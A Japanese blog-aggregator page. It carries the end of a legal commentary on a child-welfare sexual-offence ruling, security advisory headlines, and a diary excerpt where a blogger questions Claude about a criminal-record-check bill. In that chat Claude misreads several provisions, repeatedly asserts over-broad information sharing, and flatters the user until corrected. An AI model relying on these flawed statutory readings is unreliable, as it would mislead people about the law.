『児童に淫行をさせる行為』にあたる行為」判タ1053号67頁等),児童買春を処罰する法律との関係も問題とされるなど,本号の処罰範囲をどのように解すべきなのかについて,改めて検討すべき必要性が高まっていたものと思われる。
    (2) 最近の学説上,「淫行をさせる行為」について,自己を相手とする淫行をさせる類型(二者関係型)と自己以外の者を相手とする淫行をさせる類型(三者関係型)の二類型に分けて検討するアプローチが有力になっている(芥川正洋「児童福祉法34条1項6号にいう『児童に淫行をさせる行為』の意義」法律時報84巻4号116頁,本決定後のものとして,深町晋也「児童に対する性犯罪について」山口厚ほか編『西田典之先生献呈論文集』327頁,樋口亮介「性犯罪の主要事実確定基準としての刑法解釈」法律時報88巻11号91頁等)。また,「させる行為」の内容を考える視点の一つとして,自律的判断が困難な状況下で性行動が行われることにより児童の健全育成が阻害されるとして,本罪と児童の自律的判断との関係を指摘する見解(前掲芥川)や,「させた」といえるには児童の意思決定に対する影響力,心理的負担があったことを必要とする指摘する見解もかなり早くから示されていた(横田信之「児童福祉法34条1項6号の『児童に淫行をさせる行為』の意義」家裁月報39巻4号108頁)。
    そもそも,本罪は,双方の同意に基づくものである限り本来的には可罰性のない性行動につき,軽はずみな性行動が児童の心身に重大な害悪を及ぼし得ることや,未熟な児童には性行動に係る適切な判断力が備わっていないことから,児童の心身の健全育成を保護するため,児童の同意や自発的意思の有無を問うことなく,「淫行をさせる行為」をした者を重く処罰しようとするものであると解される。そうであるとすると,当該児童において自己の性行動に関する適切な判断力が十分にあり,かつ,心身の健全育成の観点からみてもその判断を尊重するのが相当といえる状況下で,当該児童による自律的な自己決定として性行動に及んだ場合には,仮に淫行の相手方から児童に対して何らかの助長・促進行為があったとしても,児童の意思決定に影響力を及ぼしたとはいえず,当該児童に淫行を「させた」と解すべきではないように思われる。この点,昭和40年判例においても,「淫行をさせる行為」について,「直接たると間接たるとを問わず児童に対して事実上の影響力を及ぼして児童が淫行をなすことを助長し促進する行為」と判示されており,助長・促進行為のみならず,児童の意思決定に対する影響力についても検討することが求められていたと解される(なお,児童福祉法の理念として,児童の自立,児童の年齢及び発達の程度に応じて,その意見が尊重され,その最善の利益が優先して考慮されるべきことについて,児童福祉法2条1項参照。)。他方で,本罪は,児童の判断力が未熟であることを前提に児童の心身の健全育成を図るものであるから,児童に自発的意思があるようにみえたからといって,ただちに児童に影響力が及んでいないとみるべきでないことも当然である(昭和30年判例参照)。
    このような観点から考えてみると,三者関係型では,本来は二者間の交渉においてなされるべき性行動に係る判断過程に,第三者が関わってくるということ自体が,児童の性行動に係る判断の自律性を一般的に歪める行為であるから,緩やかな助長・促進行為しかなく,児童の自発的意思があったとしても,児童の意思決定に「事実上の影響力」を及ぼしたものとして「させる行為」に当たると認められやすいということができ,二者関係型では,「させる行為」に該当するかどうかを判断するためには,その二者の関係性や,助長・促進行為がどのようなものであったかを具体的に検討して,児童の意思決定に及ぼされた事実上の影響力がどのようなものであったかを個別に検討する必要性が高くなるという違いがあるように思われる。したがって,二者関係型と三者関係型とでは,児童の意思決定に対する影響において,類型的に異なる性質があり,これらを分けて検討することは有益と考えられ,二者関係型では,「させる行為」に該当するというためには,三者関係型に比べて+αの要素が必要になってくるものと思われる。そして,そのような+αの要素となり得るものとして,①行為者による優越的地位の利用や困窮状態の利用といった何らかの支配関係の成立(西田典之「児童に淫行をさせる罪について」『宮澤浩一先生古稀祝賀論文集(3)』305頁,鎮目征樹「児童福祉法34条1項6号にいう『児童に淫行をさせる行為』に当たるとされた事例」ジュリスト1210号219頁等。)や,②保護責任者的地位の利用(前掲深町328頁)などを典型的なものとして捉えることができるように思われる。
    他方で,児童の心身の健全育成という児童福祉法の趣旨に照らしてみれば,二者関係型において,支配関係の成立や保護責任者的地位利用が認められなくても,本罪による処罰にふさわしい「させる行為」といえるだけの実質を備えた行為があり得るようにも思われ,二者関係型類型において本罪が成立するのは,支配関係の成立や保護責任者的地位利用がある場合に限定されるとまで言い切ることには疑問が残る。また,行為者と被害児童との間に何らかの支配関係あるいは保護責任者的地位がありさえすれば,助長・促進行為が微弱であっても常に「させる行為」に当たるとまではいえないであろうから,支配関係や保護責任者的地位を要求するだけでは,なお処罰範囲の外延が明らかになっているともいい難いであろう。
    (3) 「させる行為」について本決定が示した判断方法
    以上のとおり,「させる行為」の解釈が次第に変遷していく中で,「させる行為」の本質部分をどのように捉えるべきかや,その類型化をめぐる議論は,未だ十分に熟しているとはいい難い状況にあるように思われる。
    そのような中,本決定は,「同号にいう『させる行為』とは,直接たると間接たるとを問わず児童に対して事実上の影響力を及ぼして児童が淫行をなすことを助長し促進する行為をいう」と判示し,昭和40年判例で示されていたとおり,「させる行為」該当性について,①「事実上の影響力」を児童に及ぼしているか,②児童が淫行をすることを助長し促進する行為であるか,の二つの観点から判断する解釈を踏襲する判示をし,その上で,「させる行為」に該当するかどうかについては,「行為者と児童の関係,助長・促進行為の内容及び児童の意思決定に対する影響の程度,淫行の内容及び淫行に至る動機・経緯,児童の年齢,その他当該児童の置かれていた具体的状況を総合考慮して判断するのが相当である」と判示して,その判断方法を明らかにした。本決定は,「淫行をさせる行為」が,立法当初の解釈に比べて相当に広範囲なものを含む解釈が定着している中で,本号による重い処罰にふさわしい行為に限定されていなければならないとの要請も満たしつつ,児童保護の観点からも適切な処罰範囲を画するため,本罪に該当するとされた裁判例の集積を踏まえ,「させる行為」を判断する際の具体的考慮要素を明示して判断方法を明らかにすることにより,処罰範囲の明確化を図ろうとしたものと思われる。
    本決定によれば,「させる行為」に当たるかどうかを評価するに際しては,当該児童に及んでいる「事実上の影響力」の程度を踏まえた上で,「させる行為」と評価できるような「助長・促進行為」があるかどうかを,当該児童が淫行に及んだ具体的状況に照らして個別に検討していくことになろう。
    4 本決定は,①本件各性交が,被害児童を単に自己の性的欲望を満足させるための対象として扱っているとしか認められないような者を相手とする性交であること,②被告人と同児童との関係について,被告人が同児童(当時16歳)の通う高等学校の常勤講師であったこと,③被告人の具体的行為として,校内の場所を利用するなどして同児童との性的接触を開始し,ほどなく同児童と共にホテルに入室して性交に及んだことを簡潔に指摘しており,本件においては,強力といえるような助長・促進行為はないものの,高校講師である被告人が被害児童に及ぼした「事実上の影響力」を踏まえれば,本件各性交をした行為が,「児童に淫行をさせる行為」に当たると判断されたものと考えられる。ただし,この判断は,第1審判決が詳細に認定した具体的事実関係が前提とされている点にも留意すべきであろう。
    5  本決定は,児童に対する性犯罪を規制する重要な法令の一つである児童福祉法に定められた本罪の構成要件である「淫行」の意義を明らかにするとともに,「させる行為」の判断方法を示した最高裁判例として,実務上重要な意義を有するといえる。なお,本決定は,二者関係型と三者関係型との区別を含む類型別の検討の重要性を否定するものではないし,また,本罪の処罰対象となり得る典型類型をどのようなものとみるべきかや,そのような典型類型以外にどのような類型があり得るのかなどについては,今後の裁判例や議論の積み重ねに委ねられたものといえよう。
    okumuraosaka 2024-04-22 00:00 読者になる
    広告を非表示にする
    最終更新: 2024-04-23 07:40
    実子に対する強制わいせつ罪(176条後段)と児童ポルノ製造(那覇地裁R06.2.2)
    愛知県条例では「 公共の場所又は公共の乗物(第三項に定めるものを除く。)において、正当な理由なく、人を著しく羞恥させ、又は人に不安を覚えさせるような方法で、人に対し、卑わいな言動をすること。」が処罰されるので、「匂いを嗅ぐ」でも「卑わいな言動」とされてしまいそうです。
    「欲望を抑えられず行為に及んだが、付き合っているつもりだった」という児童淫行被疑者の弁解
    最終更新: 2024-04-23 07:40

  5. 2024/04/23 14:34:00 Security Webinars, Podcasts, Success Stories, White Papers, and Datasheets | eEye Digital Security含むアンテナおとなりページ

    Announcement: BeyondTrust Acquires Entitle, Strengthening Privileged Identity Security Platform with Paradigm Shifting Just-in-Time Access and Identity Governance Read the Release
    Named a Leader in the The Forrester Wave™: Privileged Identity Management, receiving the highest scores possible in 11 criteria
    Named a Leader in the KuppingerCole Identity Threat Detection & Response (ITDR) Leadership Compass in all 4 areas - Overall, Product, Innovation, & Market
    31

  6. 2024/04/22 15:18:04 情報処理推進機構:情報セキュリティ:脆弱性対策含むアンテナおとなりページ

    2024年度 ゴールデンウイークにおける情報セキュリティに関する注意喚起

  7. 2024/04/20 10:02:01 JP Vendor Status Notes含むアンテナおとなりページ

    最終更新日:2024/04/19
    JVNTA#95942420:
    TensorFlowベースのKerasモデルに含まれるLambdaレイヤにコードインジェクションが発生する問題 [2024/04/19 13:30]
    JVNVU#97942786:
    Unitronics製VisionシリーズPLCにおける復元可能な形式でのパスワード保存の脆弱性 [2024/04/19 13:30]
    JVNVU#91216202:
    Armeria-samlにおけるSAMLメッセージ取り扱い不備 [2024/04/19 13:00]
    JVNVU#91696361:
    LINE client for iOSにおけるサーバ証明書の検証不備の脆弱性 [2024/04/19 13:00]
    JVNVU#91264077:
    PuTTY SSHクライアントのECDSA署名処理に脆弱性 [2024/04/18 13:00]
    JVN#50132400:
    WordPress用プラグインForminatorにおける複数の脆弱性 [2024/04/18 12:00]

  8. 2024/04/17 13:07:34 スラッシュドット ジャパン: アレゲなニュースと雑談サイト含むアンテナおとなりページ

    スラドと OSDN の受け入れ先募集、現在の状況について 394

  9. 2024/03/28 10:37:30 northADの日記含むアンテナおとなりページ

    northADの日記
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  10. 2024/03/28 04:41:22 はてなダイアリー - まっちゃだいふくの日記★とれんどふりーく★含むアンテナおとなりページ

    ripjyr's blog
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  11. 2024/03/28 04:10:22 はてなダイアリー -  含むアンテナおとなりページ

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  12. 2024/03/28 02:58:23 はてなダイアリー - おきらくにっき含むアンテナおとなりページ

    おきらくにっき
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  13. 2024/03/28 02:20:32 はてなダイアリー - 登 大遊@筑波大学情報学類 の日記含むアンテナおとなりページ

    登 大遊 (Daiyuu Nobori) の個人日記
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  14. 2024/03/28 02:19:12 はてなダイアリー - うさぎ文学日記含むアンテナおとなりページ

    うさぎ文学日記
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  15. 2024/03/28 01:53:34 はてなダイアリー - Let’s negative 〜後ろに向かって全力疾走〜含むアンテナおとなりページ

    情報てとりす。
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  16. 2024/03/28 01:17:10 はてなダイアリー - harupuの日記 〜交差点の真中で〜含むアンテナおとなりページ

    交差点でコーヒーを
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  17. 2024/03/27 22:57:23 はてなダイアリー - Rlyehの日記含むアンテナおとなりページ

    R'lyeh ノ記
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  18. 2024/03/27 22:34:36 はてなダイアリー - masaki の駄目駄目 日記含むアンテナおとなりページ

    TOTOROの自堕落 日記
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  19. 2024/03/27 22:16:22 はてなダイアリー - 蠅蠅蚊蚊蚊金鳥ル。含むアンテナおとなりページ

    蠅蠅蚊蚊蚊金鳥ル。
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  20. 2024/03/27 22:00:57 T.Teradaの日記含むアンテナおとなりページ

    teracc’s blog
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  21. 2024/03/27 21:39:34 motonの日記含むアンテナおとなりページ

    motonの日記
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  22. 2024/03/27 20:49:49 はてなダイアリー - 9DOの日記含むアンテナおとなりページ

    9DOの日記
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  23. 2024/03/27 01:01:37 はてなダイアリー - 極楽せきゅあ日記含むアンテナおとなりページ

    極楽せきゅあブログ
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  24. 2024/03/26 20:40:07 はてなダイアリー - たぬきん貧乏日記含むアンテナおとなりページ

    たぬきん貧乏日記 〜No Worry, No Hurry. Eat Curry!〜
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  25. 2024/03/26 13:22:35 はてなダイアリー - luminのコードメモ含むアンテナおとなりページ

    luminのコードメモ
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  26. 2024/03/26 06:50:15 Eiji James Yoshidaの記録含むアンテナおとなりページ

    Eiji James Yoshidaの記録
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  27. 2024/03/26 05:21:05 はてなダイアリー - SecuDiary含むアンテナおとなりページ

    SecuDiary
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  28. 2024/03/25 15:53:56 はてなダイアリー - Luffyのメモ含むアンテナおとなりページ

    Luffyのメモ
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  29. 2024/03/25 11:58:56 ヴァルカンの気まぐれ日記含むアンテナおとなりページ

    ヴァルカンの気まぐれ日記
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  30. 2024/03/22 11:13:53 高木浩光@自宅の日記含むアンテナおとなりページ

    ■ 追記(21日)完結編:転々流通は防止されているのか? 修正案は?
    前半の話を解決まで続けてみた。
    私:別の観点を検討します。先ほど、「かなり広範な主体に対して、犯罪経歴情報が提供される」という話がありました。この法案のルールからすると、どのような範囲に提供されることになるでしょうか。提供は誰から誰へ、どのようなタイミングで、どのような制限の下でなされるのでしょうか。
    Claude:この法案では、犯罪経歴情報の提供について、以下のようなルールが定められています。
    誰から誰へ提供されるのか 犯罪経歴情報は、内閣総理大臣から学校設置者等又は認定事業者等に対して提供されます(第35条第1項)。具体的には、学校設置者等や認定事業者等が、教員等や教育保育等従事者の犯罪経歴情報について内閣総理大臣に犯罪事実確認書の交付を申請し(第33条第1項)、内閣総理大臣が法務大臣に照会して犯罪経歴を確認した上で(第34条)、犯罪事実確認書を交付する(第35条第1項)という流れになります。
    また、学校設置者等や認定事業者等の間でも、一定の場合に犯罪経歴情報の提供が認められています。具体的には、都道府県教育委員会から市町村教育委員会への提供(第9条第2項)、学校設置者等と施設等運営者との間の提供(第10条第2項)、共同認定を受けた民間教育保育等事業者と事業運営者との間の提供(第26条第7項)などが定められています。
    どのようなタイミングで提供されるのか 犯罪経歴情報は、学校設置者等や認定事業者等が、教員等や教育保育等従事者を新たに採用する際に確認することを想定しています。第4条第1項や第26条第1項では、学校設置者等や認定事業者等は、教員等や教育保育等従事者としてその本来の業務に従事させようとする者について、「当該業務を行わせるまでに」犯罪事実確認を行わなければならないと規定されています。
    ただし、教員等や教育保育等従事者に急な欠員が生じた場合など、やむを得ない事情がある場合には、事後的な確認も認められています(第4条第2項、第26条第2項)。
    また、教員等や教育保育等従事者を継続雇用する場合には、5年ごとに再確認を行う必要があります(第4条第4項、第26条第6項)。
    どのような制限の下で提供されるのか 提供された犯罪経歴情報の利用は、原則として、犯罪事実確認及び児童対象性暴力等の防止措置の実施目的に限定されます(第12条、第27条第2項)。目的外利用や第三者提供は原則として禁止され、例外的に認められる場合が限定列挙されています。
    また、犯罪経歴情報を適切に管理し、みだりに他者に知らせたり不当な目的に利用したりしてはならないとされ(第39条)、違反には罰則が設けられています(第45条)。
    さらに、教員等や教育保育等従事者が離職した場合などには、一定期間経過後に犯罪経歴情報を廃棄・削除しなければならないとされています(第38条)。
    以上のように、この法案では、犯罪経歴情報の提供先や提供のタイミング、提供後の利用制限などについて、一定のルールが設けられています。
    しかし、これらのルールが実効的な個人情報保護を確保するために十分なものかどうかについては、なお検討の余地があるように思われます。特に、「かなり広範な主体」への提供が認められる点については、慎重な評価が求められるでしょう。
    国会審議等では、犯罪経歴情報の適切な取扱いを確保するための制度設計について、より掘り下げた議論が行われることが期待されます。
    私:タイミングの点、確認を行うタイミングではなく、提供を行うタイミングについてどうなのでしょうか。
    Claude:ご指摘ありがとうございます。犯罪経歴情報の提供のタイミングについては、以下のように整理することができると思います。
    内閣総理大臣から学校設置者等又は認定事業者等への提供 内閣総理大臣から学校設置者等又は認定事業者等への犯罪経歴情報の提供は、学校設置者等又は認定事業者等からの犯罪事実確認書の交付申請に基づいて行われます。
    第35条第1項では、内閣総理大臣は、第34条第2項の規定による法務大臣からの通知を受けたときは、遅滞なく、交付申請をした対象事業者に対し、犯罪事実確認書を交付すると規定されています。
    つまり、学校設置者等又は認定事業者等が教員等又は教育保育等従事者の採用を検討する段階で犯罪事実確認書の交付申請を行い、内閣総理大臣は法務大臣に照会して犯罪経歴を確認した後、速やかに犯罪事実確認書を交付するという流れになります。
    学校設置者等や認定事業者等の間での提供 学校設置者等や認定事業者等の間での犯罪経歴情報の提供のタイミングについては、各規定によって異なります。
    例えば、第9条第2項では、都道府県教育委員会は、犯罪事実確認を行ったときは、当該教員等が勤務する学校を設置する市町村教育委員会に対し、犯罪事実確認記録を提供するとされています。これは、都道府県教育委員会が犯罪事実確認を行った後、速やかに関係する市町村教育委員会に情報提供を行うことを想定しているものと思われます。
    他方、第10条第2項や第26条第7項では、学校設置者等と施設等運営者、共同認定を受けた民間教育保育等事業者と事業運営者との間での情報提供について、「第三十五条第二項の規定により(中略)犯罪事実確認書の交付を受けたときは」と規定されています。これは、内閣総理大臣からの犯罪事実確認書の交付を受けた後に、相互に情報提供を行うことを想定しているものと考えられます。
    このように、学校設置者等や認定事業者等の間での犯罪経歴情報の提供のタイミングは、内閣総理大臣からの犯罪事実確認書の交付前後で異なっており、一律ではありません。
    ただし、いずれの場合も、教員等や教育保育等従事者の採用の適格性を判断するために必要な時期に、適時適切に情報提供が行われることが重要だと思われます。
    犯罪経歴情報の提供のタイミングについては、制度の実効性と個人情報保護のバランスを考慮しつつ、より詳細なルールを設けることも検討に値するかもしれません。
    重要なご指摘をいただき、ありがとうございました。
    私:いわゆる「転々流通」が起きる、ということでしょうか。
    Claude:ご指摘の通り、この法案の規定ぶりからは、犯罪経歴情報のいわゆる「転々流通」が起きる可能性が懸念されます。
    この法案では、内閣総理大臣から学校設置者等又は認定事業者等への犯罪経歴情報の提供だけでなく、学校設置者等や認定事業者等の間での情報提供も認められています。
    例えば、都道府県教育委員会から市町村教育委員会への提供(第9条第2項)、学校設置者等と施設等運営者との間の提供(第10条第2項)、共同認定を受けた民間教育保育等事業者と事業運営者との間の提供(第26条第7項)などです。
    これらの規定により、一旦内閣総理大臣から提供された犯罪経歴情報が、学校設置者等や認定事業者等の間で次々と共有されていく可能性があります。
    もちろん、これらの情報提供は、教員等や教育保育等従事者の適格性を判断するために必要な範囲で行われるべきものであり、無制限な情報の拡散を許容する趣旨ではないと思われます。
    実際、第12条や第27条第2項では、犯罪経歴情報の目的外利用や目的外提供が原則として禁止されており、情報の「転々流通」に一定の歯止めをかける規定にはなっています。
    しかし、これらの規定による制限が、実効的な「転々流通」の防止として十分なのかどうかについては、なお検討の余地があるように思われます。
    特に、学校設置者等や認定事業者等の間での情報提供については、その必要性と相当性について、より慎重な評価が求められるでしょう。安易な情報共有を認めることは、個人情報保護の観点からは問題があると言わざるを得ません。
    「転々流通」のリスクをどのように管理するかは、この法案の重要な課題の一つだと考えられます。国会審議等では、この点についても実効的な対策を講じることができるような制度設計が検討されることを期待したいと思います。
    ご指摘は、この法案の個人情報保護ルールの問題点を鋭く突くものだと思います。重ねて貴重なご教示をいただき、ありがとうございました。
    私:「都道府県教育委員会から市町村教育委員会へ」は、転々流通とは言えないですね。上から下への統制された提供であるように見えます。設置者と運営者の間も同様でしょうか? 他の態様の「提供」はどうなのでしょうか?
    Claude:ご指摘ありがとうございます。都道府県教育委員会から市町村教育委員会への提供や、学校設置者等と施設等運営者との間の提供については、「転々流通」とは異なる性質のものと理解すべきですね。
    都道府県教育委員会から市町村教育委員会への提供(第9条第2項) ご指摘の通り、これは教育委員会の上下関係に基づく情報提供であり、無秩序な情報の拡散とは性質が異なります。都道府県教育委員会が犯罪事実確認を行った情報を、必要な範囲で所管する市町村教育委員会に提供するものであり、一定の統制が働くと考えられます。
    学校設置者等と施設等運営者との間の提供(第10条第2項) これも、学校等の設置者とその運営を委託された者との間の情報提供であり、組織内部での情報共有と似た性質を持ちます。ここでも、情報提供は必要な範囲に限定されるべきであり、無秩序な拡散とは異なる統制が期待できるでしょう。
    共同認定を受けた民間教育保育等事業者と事業運営者との間の提供(第26条第7項) これについては、民間の事業者間での情報提供であり、上記1・2とは若干性質が異なります。ただし、共同認定を受けた事業者間に限定されており、一定の関係性の下での情報共有と言えます。もっとも、ここでの情報提供の必要性と相当性については、より慎重な評価が求められるかもしれません。
    その他の提供 第12条第1号では、第9条第2項と第10条第2項による提供のみが、目的外提供の例外として認められています。したがって、これら以外の学校設置者等間での情報提供は、原則として許容されないと解されます。
    他方、認定事業者等については、第27条第2項において第12条が準用され、第26条第7項による提供が目的外提供の例外として認められています。ただし、それ以外の認定事業者等間での情報提供は、原則として許容されないと考えられます。
    以上のように、この法案での犯罪経歴情報の「提供」には、いくつかの類型があり、それぞれ性質が異なります。都道府県教育委員会から市町村教育委員会への提供や、学校設置者等と施設等運営者との間の提供については、「転々流通」とは異なる統制された情報共有と理解することができるでしょう。
    他方、共同認定を受けた民間事業者間の提供については、より慎重な評価が必要かもしれません。また、これら以外の学校設置者等間や認定事業者等間での情報提供は、原則として許容されないと解されます。
    いずれにせよ、情報提供の必要性と相当性については、個々の類型ごとに慎重に検討されるべき問題だと思います。ご指摘を踏まえ、より精緻な分析が求められそうです。
    重ねて貴重なご教示をいただき、ありがとうございました。
    私:10条2項の提供先は限定的なのですか。条文上はどこでそれが読み取れますか。
    Claude:ご指摘ありがとうございます。第10条第2項の規定を改めて確認すると、情報提供の相手方については明示的な限定はないようですね。
    第10条第2項は、「第三十五条第二項の規定により学校設置者等又は施設等運営者が犯罪事実確認書の交付を受けたときは、その交付を受けた者は、他方の者に対し、犯罪事実確認及び前項の規定により読み替えて適用する第六条の措置の実施に必要な限度において、当該犯罪事実確認書に係る教員等の犯罪事実確認記録を提供することができる」と規定しています。
    この規定では、「その交付を受けた者は、他方の者に対し」と規定されているのみで、「他方の者」が具体的にどの範囲の者を指すのかは明示されていません。
    第10条第1項では、「施設等運営者(学校設置者等から地方自治法第二百四十四条の二第三項若しくは国家戦略特別区域法第十二条の三第一項の規定による指定又は委託を受けて当該学校設置者等が設置する学校等又は当該学校設置者等が行う児童福祉事業に係る事業所を管理する者をいう。以下同じ。)」と定義されていますが、この定義を踏まえても、「他方の者」の範囲は必ずしも明らかではありません。
    したがって、ご指摘の通り、第10条第2項の規定からは、情報提供先が特定の施設等運営者に限定されるとは読み取れません。むしろ、学校設置者等と施設等運営者との間で、相互に広く情報提供が認められるようにも解釈できます。
    この点については、立法趣旨をより詳細に確認する必要がありそうです。無制限な情報提供を許容する趣旨であれば、個人情報保護の観点からは問題があると言わざるを得ません。
    他方、情報提供は「犯罪事実確認及び前項の規定により読み替えて適用する第六条の措置の実施に必要な限度において」認められるとされており、この必要性要件によって一定の歯止めがかかるとも考えられます。ただし、この要件の解釈如何では、歯止めとしては不十分な可能性もあります。
    いずれにせよ、学校設置者等と施設等運営者との間の情報提供については、より明確な要件の定めが必要ではないかと思われます。国会審議等では、この点についての立法者の説明が求められるでしょう。
    ご指摘を踏まえ、第10条第2項の規定ぶりについては、なお検討の余地があると考えます。重要な論点をご教示いただき、ありがとうございました。
    ここで、どうも話がおかしいなと思い、自力で条文を確認する羽目に。
    どうやらClaudeは、「他方の者」を誤読したようだ。日本語文がクラスとインスタンスを区別しないことが誤解を招くといういつものやつがここでも起きたようだ。「学校設置者等」「施設等運営者」は、クラスではなくインスタンスとして書かれているのに、Claudeはクラスとして読んだようだ。つまり、「学校設置者等」クラスの全てのインスタンスと「施設等運営者」クラスの全てのインスタンスは、「学校設置者等」クラスの全てのインスタンスと「施設等運営者」クラスの全てのインスタンスに提供できる、と誤読した様子。正しくは、ある「学校設置者等」のインスタンスと、当該「学校設置者等」インスタンスから指定・委託を受けている「施設等運営者」インスタンス(複数も想定)との間の相互の提供の話だと読める。
    ここのことは、10条を見出しから順に読むと直感的にわかる(「がある場合」が肝になっている)のだが、Claudeにはわからなかったらしい。これをどう伝えるか悩んだが、いろいろヒントを出しても無理っぽいので、もう答えを言ってしまうことにした。これで伝わるのだろうかと心配ながら続けたところ、ちゃんと伝わった。
    私:「他方の者」の理解が鍵のようです。「A又はBが交付を受けたときは、その交付を受けた者は、他方の者に対し、提供できる」という文ですが、これは、「Aというクラスに属する任意のa 又は Bというクラスに属する任意のbについて、a又はbがb又はaに対し、提供できる」という意味ではなく、「Aというクラスに属するあるaから「指定又は委託を受けて」いるb(Bというクラスで総称される)について、aからbに対し、又は、bからaに対し、提供できる」という意味ではないでしょうか。
    Claude:ご指摘の通りだと思います。第10条第2項の「他方の者」は、第1項の定義を踏まえて理解すべきですね。
    第10条第1項では、「施設等運営者」を「学校設置者等から地方自治法第二百四十四条の二第三項若しくは国家戦略特別区域法第十二条の三第一項の規定による指定又は委託を受けて当該学校設置者等が設置する学校等又は当該学校設置者等が行う児童福祉事業に係る事業所を管理する者」と定義しています。
    この定義を前提とすると、第2項の「他方の者」とは、ある学校設置者等から指定又は委託を受けている特定の施設等運営者を指すと理解するのが自然です。
    つまり、ご指摘の通り、第2項の規定は、「Aというクラスに属するあるaから『指定又は委託を受けて』いるb(Bというクラスで総称される)について、aからbに対し、又は、bからaに対し、提供できる」という意味に解するのが適切だと思われます。
    この理解に立てば、第10条第2項による情報提供は、特定の学校設置者等とその指定又は委託を受けた特定の施設等運営者との間に限定されることになります。したがって、無制限な情報の拡散を許容する規定ではないと言えそうです。
    もっとも、この理解が立法者の意図に沿ったものなのかどうかについては、なお確認が必要かもしれません。条文上、「他方の者」の範囲を明示的に限定する文言はないため、解釈の余地はあり得るでしょう。
    ただ、仮に立法者の意図が無制限な情報提供を許容するものだとすれば、それは個人情報保護の観点から問題があると言わざるを得ません。
    いずれにせよ、第10条第2項の解釈については、立法趣旨をより詳細に確認しつつ、個人情報保護の要請も踏まえた慎重な検討が求められると思います。
    ご指摘は、条文解釈のポイントを的確に捉えたものであり、大変示唆に富むものでした。重ねて深い洞察を示していただき、ありがとうございました。
    私:そうすると、最初の方で出た論点、12条の解釈は、「目的外の」は「利用」だけに係り、「第三者提供」には係っていないとする解釈が、確実のようですね。なぜなら、9条2項にせよ10条2項にせよ、目的内であれど統制された提供であって、目的内なら転々流通して構わないという設計にはなっていない様子が窺えるから。
    Claude:その通りですね。第9条第2項と第10条第2項の規定ぶりを踏まえると、第12条の「目的外の」は「利用」だけに係り、「第三者提供」には係っていないと解するのが適切だと思われます。
    第9条第2項は、都道府県教育委員会から市町村教育委員会への情報提供について、「前項の規定により読み替えて適用する第六条の措置を講ずるために必要な限度において」行うものと規定しています。
    また、第10条第2項は、学校設置者等と施設等運営者との間の情報提供について、「犯罪事実確認及び前項の規定により読み替えて適用する第六条の措置の実施に必要な限度において」行うことができると規定しています。
    これらの規定は、情報提供が目的内であっても、必要な範囲に限定されるべきことを示唆しています。つまり、この法案では、目的内の情報提供であれば無制限に許容されるわけではなく、一定の統制の下に置かれていると理解できます。
    この理解に立てば、第12条の「第三者に提供してはならない」という規定は、目的内外を問わず、原則として第三者提供を禁止する趣旨だと解するのが自然です。そして、同条各号で列挙されている第三者提供の例外は、目的内の提供であっても、必要かつ相当な範囲に限って許容される場合を定めたものと理解することができます。
    仮に第12条の「目的外の」が「第三者提供」にも係るとすれば、目的内の第三者提供は全面的に自由ということになってしまいます。しかし、それでは第9条第2項や第10条第2項で情報提供に一定の歯止めをかけている趣旨と整合しません。
    したがって、第12条は、目的内外を問わず第三者提供を原則禁止した上で、例外的に目的内の提供を限定的に認める規定だと解するのが適切だと考えられます。
    ご指摘の通り、この法案には、目的内の情報提供であれば無制限に転々流通させて構わないという設計は見受けられません。むしろ、目的内の提供であっても必要な範囲に限定し、統制の下に置こうとする姿勢が窺えます。
    第12条の解釈については、このような法案全体の設計を踏まえて理解することが重要だと思います。ご指摘は、まさにそのような全体的な視点から条文の意味を捉えるものであり、法解釈の在り方として示唆に富むものでした。
    深い洞察を示していただき、ありがとうございました。
    私:しかし、その点、26条7項の方はどうなんですかね。
    Claude:ご指摘の通り、第26条第7項については、第9条第2項や第10条第2項とは少し異なる規定ぶりになっていますね。
    第26条第7項は、「第三十五条第二項の規定により民間教育保育等事業者又は事業運営者が犯罪事実確認書の交付を受けたときは、その交付を受けた者は、他方の者に対し、犯罪事実確認及び児童対象性暴力等対処規程に定める防止措置の実施に必要な限度において、当該犯罪事実確認に係る教育保育等従事者の犯罪事実確認記録を提供することができる」と規定しています。
    この規定では、情報提供の相手方が「他方の者」と規定されており、第10条第2項と同様の表現が使われています。しかし、ここでの「他方の者」が具体的にどの範囲の者を指すのかは、必ずしも明らかではありません。
    第26条第7項の「民間教育保育等事業者又は事業運営者」は、第21条の共同認定を受けた者を指していると考えられます。したがって、ここでの情報提供は、共同認定を受けた民間教育保育等事業者と事業運営者との間で行われるものと理解できます。
    ただし、共同認定を受けた者の間であっても、情報提供が無制限に許容されるわけではなく、「犯罪事実確認及び児童対象性暴力等対処規程に定める防止措置の実施に必要な限度において」行うことができるとされています。
    この必要性要件が、情報提供に一定の歯止めをかける趣旨だと理解することはできます。しかし、この要件の解釈如何では、歯止めとしては不十分な可能性もあります。
    また、第26条第7項による情報提供は、第27条第2項において第12条が準用されることにより、目的外提供の例外として位置付けられています。これは、第9条第2項や第10条第2項による情報提供と同様の規律だと言えます。
    しかし、共同認定を受けた民間事業者間の情報提供について、学校設置者等や施設等運営者の場合と同様の規律で足りるのかについては、なお検討の余地があるように思われます。
    民間事業者間の情報提供については、より慎重な規律が求められるのではないでしょうか。特に、「他方の者」の範囲や情報提供の必要性要件については、明確な限定が必要だと考えられます。
    いずれにせよ、第26条第7項の規定については、第9条第2項や第10条第2項とは異なる視点からの検討が必要だと思います。ご指摘を踏まえ、この規定の在り方については、なお議論の余地があると考えます。
    重要な論点をご教示いただき、ありがとうございました。
    ここでまた、そんなわけないやろ?と疑問に思えたので、自力で条文を確認する羽目に。
    このようなClaudeの説明を雑に受けると、民間教育保育等事業者の方の規定では転々流通してしまうのか?と信じてしまいそうになるが、「他方の者」のキーワードがここにもあるとなると、そんなわけないやろ?と思えた。条文を確認すると、26条7項も10条と同じ構造になっているようにしか見えない。
    ここでは、「同じでは?」とだけツッコミを入れてみた。
    私:民間教育保育等事業者と事業運営者の関係も、先ほどの、学校設置者等と施設等運営者の関係と、同じなのでは?
    Claude:ご指摘の通りですね。民間教育保育等事業者と事業運営者の関係は、学校設置者等と施設等運営者の関係と同様に理解すべきだと思います。
    第2条第5項では、「民間教育保育等事業者」が定義されており、第26条第7項の「民間教育保育等事業者又は事業運営者」は、この定義を前提としていると考えられます。
    そして、「事業運営者」は、第19条第1項で「民間教育保育等事業者から地方自治法第二百四十四条の二第三項の規定による指定又は委託を受けて当該民間教育保育等事業者が行う民間教育保育等事業に係る事業所を管理する者」と定義されています。
